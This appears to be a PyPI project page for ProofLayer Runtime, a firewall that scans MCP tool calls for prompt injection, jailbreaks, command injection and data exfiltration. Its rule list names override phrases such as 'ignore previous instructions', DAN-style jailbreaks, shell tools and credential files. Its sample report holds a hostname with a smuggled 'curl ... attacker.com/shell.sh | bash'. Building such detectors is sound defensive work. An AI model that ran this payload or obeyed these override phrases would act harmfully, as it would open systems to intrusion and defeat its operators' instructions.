Skip to main content

Runtime prompt injection firewall for MCP servers

Project description

ProofLayer Runtime Security

Runtime prompt injection firewall for MCP servers

Built for SUSE Multi-Linux Manager, NeuVector integration, and enterprise Kubernetes deployments.

Overview

ProofLayer Runtime Security wraps MCP (Model Context Protocol) servers with real-time threat detection. When a prompt injection or command injection attack is detected, ProofLayer can:

  • ALLOW — Log and allow (risk score 0-29)
  • WARN — Log with warning (risk score 30-69)
  • BLOCK — Block the tool call (risk score 70-89)
  • KILL — Terminate the MCP server (risk score 90-100)

Features

45 Detection Rules across 4 YAML categories, plus inline heuristics ✅ Low Latency detection per tool call ✅ JSON + SARIF Reports for compliance ✅ Minimal Dependencies (PyYAML only) ✅ MCP-Native (not a proxy) ✅ Server Kill on critical threats

Quick Start

Installation

# From this directory
pip install -e .

# Or copy the prooflayer/ directory to your project
cp -r prooflayer/ /path/to/your/project/

Basic Usage

from prooflayer import ProofLayerRuntime

# Wrap your MCP server
runtime = ProofLayerRuntime(
    action_on_threat="warn",  # or "block", "kill"
    report_dir="./security-reports"
)

protected_server = runtime.wrap(mcp_server)
protected_server.run()

Example

# examples/basic/simple_wrapped_server.py
python3 examples/basic/simple_wrapped_server.py

Detection Rules

Command Injection (15 rules)

  • Shell metacharacters (;, |, &&, ||)
  • Dangerous commands (curl, wget, bash, nc)
  • Command substitution (backticks, $())
  • Destructive commands (rm -rf)

Prompt Injection (12 rules)

  • "Ignore previous instructions"
  • "Disregard system prompt"
  • "New instructions"
  • System override attempts

Jailbreaks (8 rules)

  • DAN (Do Anything Now) mode
  • Developer mode activation
  • Role manipulation ("act as")
  • Alignment override

Data Exfiltration (10 rules)

  • File access (/etc/passwd, .ssh/, .env)
  • Base64 encoding
  • Network exfiltration
  • Sensitive file patterns

Additional inline heuristics cover role manipulation and tool poisoning patterns as fallbacks.

Configuration

Create prooflayer.yaml:

detection:
  enabled: true
  rules_dir: ./prooflayer/rules
  score_threshold:
    allow: [0, 29]
    warn: [30, 69]
    block: [70, 100]

response:
  on_threat: warn  # allow, warn, block, kill
  report_dir: ./security-reports
  alert_webhook: null

performance:
  max_latency_ms: 10
  cache_rules: true

logging:
  level: INFO
  format: json

Then load it:

runtime = ProofLayerRuntime(config_path="prooflayer.yaml")

Attack Scenarios

Test the detection engine with attack scenarios:

# Command injection
python3 examples/attack-scenarios/01_command_injection.py

# Data exfiltration
python3 examples/attack-scenarios/02_data_exfiltration.py

# Jailbreak attempts
python3 examples/attack-scenarios/03_jailbreak.py

Security Reports

Reports are written to ./security-reports/ in JSON format:

{
  "prooflayer_version": "0.1.0",
  "timestamp": "2026-02-25T10:30:45.123Z",
  "threat": {
    "type": "command_injection",
    "tool": "add_system",
    "arguments": {
      "hostname": "prod-db; curl http://attacker.com/shell.sh | bash"
    },
    "risk_score": 95,
    "action": "SERVER_KILLED"
  },
  "detection": {
    "rules_matched": [
      "cmd-inject-semicolon",
      "cmd-inject-curl",
      "cmd-inject-pipe"
    ],
    "confidence": "HIGH"
  }
}

SUSE Integration

See examples/suse/ for integration with SUSE Multi-Linux Manager:

  • wrapped-simple-mcp.py — ProofLayer-wrapped simple-mcp
  • systemd/prooflayer-mcp@.service — systemd service file
  • config/prooflayer.yaml — SUSE-specific configuration

Architecture

┌─────────────────────────────────┐
│  LLM (Claude, GPT-4, etc.)      │
└────────────┬────────────────────┘
             │ MCP Protocol
             ▼
┌─────────────────────────────────┐
│  ProofLayer Runtime Interceptor │
│  ├─ Scan Parameters (45 rules)  │
│  ├─ Score Risk (0-100)          │
│  └─ ALLOW/WARN/BLOCK/KILL       │
└────────────┬────────────────────┘
             │ (if ALLOW)
             ▼
┌─────────────────────────────────┐
│  MCP Server (Multi-Linux Mgr)   │
│  ├─ add_system()                │
│  ├─ get_unscheduled_errata()    │
│  └─ apply_patch()               │
└─────────────────────────────────┘

Performance

  • Detection latency: Low latency per tool call (benchmarks pending)
  • Memory usage: ~50MB
  • Throughput: Benchmarks pending

License

Proprietary License — see LICENSE file for details. Copyright © 2026 Sinewave AI

Links

Contributing

See docs/CONTRIBUTING.md for guidelines.


Built for SUSE · Powered by ProofLayer

Project details


Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Source Distribution

prooflayer_runtime-0.1.0.tar.gz (58.3 kB view details)

Uploaded Source

Built Distribution

If you're not sure about the file name format, learn more about wheel file names.

prooflayer_runtime-0.1.0-py3-none-any.whl (57.0 kB view details)

Uploaded Python 3

File details

Details for the file prooflayer_runtime-0.1.0.tar.gz.

File metadata

  • Download URL: prooflayer_runtime-0.1.0.tar.gz
  • Upload date:
  • Size: 58.3 kB
  • Tags: Source
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/6.2.0 CPython/3.9.6

File hashes

Hashes for prooflayer_runtime-0.1.0.tar.gz
Algorithm Hash digest
SHA256 728c4a05abd221d81e9d6699c13efe9fa0f318736abfade0401ff7b93fb4e3dd
MD5 9ffc484e0cdca8196e73385e23e79723
BLAKE2b-256 d9ee5a4fe29fc9e6e6f6818b48ad75d1d3593d45e4e2daf66bbb6d6441da34eb

See more details on using hashes here.

File details

Details for the file prooflayer_runtime-0.1.0-py3-none-any.whl.

File metadata

File hashes

Hashes for prooflayer_runtime-0.1.0-py3-none-any.whl
Algorithm Hash digest
SHA256 721e42bc884d15962eedce7169fbd18dbd4aa39650a4fbe618f0859e491a507c
MD5 557a5a02b23221e7b8d7eb4093271120
BLAKE2b-256 26b6773b6963977859d961b073f11cf183f100aafd1665bed48183cc8968f9b3

See more details on using hashes here.

Supported by

AWS Cloud computing and Security Sponsor Datadog Monitoring Depot Continuous Integration Fastly CDN Google Download Analytics Pingdom Monitoring Sentry Error logging StatusPage Status page